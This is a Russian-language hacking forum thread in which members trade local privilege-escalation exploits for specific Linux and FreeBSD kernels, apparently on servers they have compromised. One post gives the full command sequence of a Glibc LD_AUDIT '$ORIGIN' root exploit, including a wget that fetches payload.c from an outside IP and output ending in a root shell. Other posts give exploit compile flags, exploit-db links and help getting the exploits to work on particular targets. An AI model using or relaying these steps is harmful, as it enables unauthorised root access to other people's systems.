повышение прав [задай вопрос - получи ответ]

Discussion in 'Уязвимости' started by Konqi, 15 Oct 2010.

Thread Status:
Not open for further replies.
  1. vasykas

    vasykas Banned

    Joined:
    7 Mar 2011
    Messages:
    963
    Likes Received:
    137
    Reputations:
    37
    эти все пробовал нее

    Expl0ited

    эти тоже
    а этот Ac1db1tch3z vs x86_64 Linux Kernel
    вообще скомпилен не правильно под это ядро
    надо так
    gcc Ac1db1tch3z.c -m32 -o Ac1db1tch3z
     
  2. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    попробуй этот пост: #499

    У тебя ноябрь, а роберт ю сак сентябрьский, так что даже и не знаю, что тебе посоветовать.
     
    _________________________
  3. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    есть сервер FreeBSD 7.3, но gcc нет - сплойт не запустить? А если скомпилированный бинарник запустить, то будет работать?
     
  4. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    Тут же установлен grsec, т.ч. про айсидбитчез и возможно другие сплоеты забудь.
    Скинь ls -la /lib/libc*; ls -la /lib/libpc*
    Возможно Glibc возьмет (сам не проверял возможность эксплуатации Glibc с установленным grsec, но вроде на эксплуатацию уязвимости с Glibc он повлиять не должен, но повторюсь, я не уверен в этом).

    А вот под это попробуй:
    http://www.exploit-db.com/exploits/15704/
    http://www.exploit-db.com/exploits/15944/
    http://www.exploit-db.com/exploits/15916/

    Два последних сплоита я сам не тестил, ну и конечно же проверь можно ли взять Glibc'ом.


    Ты троллишь чтоле? =)
    gcc только для компиляции, смело запускай из директории которая не под noexec ;)
    Кстати под FreeBSD 7.3 советую вот это:
    https://rdot.org/forum/showthread.php?t=601
    Проверенный сплоит ) Ну это смотря какого года у тебя сборка...
     
    #504 Tigger, 22 Aug 2011
    Last edited: 22 Aug 2011
  5. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196

    Я имею ввиду, что если gcc нет на сервере, то не скомпилировать сплойт.
    За сплойт спасибо. Сборка 2010 года.
    У кого-нибудь есть уже скомпилированный бинарник или скомпилируйте, пожалуйста, этот сплойт https://rdot.org/forum/showthread.php?t=601

    P.S. Сплойты под фряху на лине можно компилить?
     
  6. vasykas

    vasykas Banned

    Joined:
    7 Mar 2011
    Messages:
    963
    Likes Received:
    137
    Reputations:
    37
    Linux icpu1521 2.6.28.8-20101130b
    -rwxr-xr-x 1 root root 1147548 Jan 21 2010 /lib/libc-2.3.6.so
    lrwxrwxrwx 1 root root 13 Sep 15 2010 /lib/libc.so.6 -> libc-2.3.6.so
    lrwxrwxrwx 1 root root 14 Sep 15 2010 /lib/libcap.so.1 -> libcap.so.1.10
    -rw-r--r-- 1 root root 11024 Apr 14 2004 /lib/libcap.so.1.10
    lrwxrwxrwx 1 root root 17 Sep 15 2010 /lib/libcfont.so.0 -> libcfont.so.0.0.0
    -rw-r--r-- 1 root root 10644 Sep 5 2006 /lib/libcfont.so.0.0.0
    -rw-r--r-- 1 root root 181684 Jan 21 2010 /lib/libcidn-2.3.6.so
    lrwxrwxrwx 1 root root 16 Sep 15 2010 /lib/libcidn.so.1 -> libcidn-2.3.6.so
    lrwxrwxrwx 1 root root 17 Sep 15 2010 /lib/libcom_err.so.2 -> libcom_err.so.2.1
    -rw-r--r-- 1 root root 5820 Dec 6 2007 /lib/libcom_err.so.2.1
    lrwxrwxrwx 1 root root 19 Sep 15 2010 /lib/libconsole.so.0 -> libconsole.so.0.0.0
    -rw-r--r-- 1 root root 73540 Sep 5 2006 /lib/libconsole.so.0.0.0
    -rw-r--r-- 1 root root 21868 Jan 21 2010 /lib/libcrypt-2.3.6.so
    lrwxrwxrwx 1 root root 17 Sep 15 2010 /lib/libcrypt.so.1 -> libcrypt-2.3.6.so
    lrwxrwxrwx 1 root root 19 Sep 15 2010 /lib/libctutils.so.0 -> libctutils.so.0.0.0
    -rw-r--r-- 1 root root 18380 Sep 5 2006 /lib/libctutils.so.0.0.0
    -rw-r--r-- 1 root root 5400 Jan 21 2010 /lib/libpcprofile.so
     
  7. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Сделай df -h и если дира /tmp не смонтирована в другом разделе, то всё ок можешь приступать к:
    Code:
    $ mkdir /tmp/exploit
    $ ln /bin/ping /tmp/exploit/target
    $ exec 3< /tmp/exploit/target
    $ ls -l /proc/$$/fd/3
    lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*
    $ rm -rf /tmp/exploit/
    $ ls -l /proc/$$/fd/3
    lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)
    $ wget -O /tmp/payload.c http://194.105.208.43/payload.c
    $ gcc -w -fPIC -shared -o /tmp/exploit /tmp/payload.c
    $ ls -l /tmp/exploit
    -rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*
    $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
    sh-4.1# whoami
    root
    sh-4.1# id
    uid=0(root) gid=500(taviso)
    (c) http://www.opennet.ru/opennews/art.shtml?num=28338

    Если не выйдет, то что же, заюзай: http://blog.nibbles.fr/2230
     
    _________________________
    #507 Expl0ited, 23 Aug 2011
    Last edited: 23 Aug 2011
  8. vasykas

    vasykas Banned

    Joined:
    7 Mar 2011
    Messages:
    963
    Likes Received:
    137
    Reputations:
    37
    df -h
    Filesystem Size Used Avail Use% Mounted on
    /dev/sda7 3.7G 1.5G 2.1G 41% /
    /dev/sdb 933G 588G 346G 64% /homepages

    что это дает
     
  9. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Всё нормально, пробуй.
     
    _________________________
  10. vasykas

    vasykas Banned

    Joined:
    7 Mar 2011
    Messages:
    963
    Likes Received:
    137
    Reputations:
    37
    в tmp каталог exploit создался но при вводе

    ln /bin/ping /tmp/exploit/target

    ln: creating hard link `/tmp/exploit/target' to `/bin/ping': Invalid cross-device link
     
  11. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Значит ты находишься тут /dev/sdb, а система /dev/sda7
    И соответственно ничего не выйдет.
     
    _________________________
  12. vasykas

    vasykas Banned

    Joined:
    7 Mar 2011
    Messages:
    963
    Likes Received:
    137
    Reputations:
    37
    :(((
     
  13. vasykas

    vasykas Banned

    Joined:
    7 Mar 2011
    Messages:
    963
    Likes Received:
    137
    Reputations:
    37
    Что я делаю не так (Glibs)
    ввожу:
    LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
    дает ошибку
    и моя консоль уходит в даун

    [​IMG]
     
  14. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    464
    Likes Received:
    62
    Reputations:
    26
    Linux thrashers 2.6.32.8-grsec-2.1.14-modsign-xeon-64 #2 SMP Sat Mar 13 00:42:43 PST 2010 x86_64
    Что под это чудо посоветуете?)
     
  15. ][imer

    ][imer Member

    Joined:
    11 Mar 2009
    Messages:
    8
    Likes Received:
    16
    Reputations:
    5
    Linux 2.6.18-238.19.1.el5.028stab092.2 #1 SMP Thu Jul 21 19:23:22 MSD 2011 i686
    FreeBSD 7.3-amd64-20100831 amd64 at
    Linux 2.6.35.7-grsecnew #1 SMP Mon Dec 13 08:34:39 CST 2010 x86_64


    Хотя бы под одну, есть что нибудь?
     
  16. GroM88

    GroM88 Elder - Старейшина

    Joined:
    24 Oct 2007
    Messages:
    464
    Likes Received:
    62
    Reputations:
    26
    Под первое и 3-е однозначно ничего нет.
     
  17. sevenup

    sevenup Member

    Joined:
    4 Oct 2009
    Messages:
    100
    Likes Received:
    17
    Reputations:
    7
    нет.
     
  18. vasykas

    vasykas Banned

    Joined:
    7 Mar 2011
    Messages:
    963
    Likes Received:
    137
    Reputations:
    37
    FreeBSD 7.3-amd64-20100831 amd64 at
    https://rdot.org/forum/showthread.php?t=601


    Linux 2.6.35.7-grsecnew #1 SMP Mon Dec 13 08:34:39 CST 2010 x86_64
    glibs
     
  19. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,035
    Likes Received:
    534
    Reputations:
    935
    Скорее всего пропатчен.
     
    _________________________
  20. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    Создай sh-файл, пихни туда "LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3", выполни sh-файл, тогда консолька не вылетит, но скорее всего это патч.

    Мог подойти Ac1dB1tch3z, но врятли возьмет из-за grsec: http://www.exploit-db.com/exploits/15024/
    Ну а так дай вывод: ls -la /lib/libc* ; ls -la /lib/libpc* ; df -h

    Может быть библиотеки Glibc бажные, покажи вывод команды: ls -la /lib/libc* ; ls -la /lib/libpc* ; df -h

    Попробуй это: http://www.exploit-db.com/exploits/15944/, но врятли, ну а так тоже есть шанс взять Glibc'ом...
     
    1 person likes this.
Thread Status:
Not open for further replies.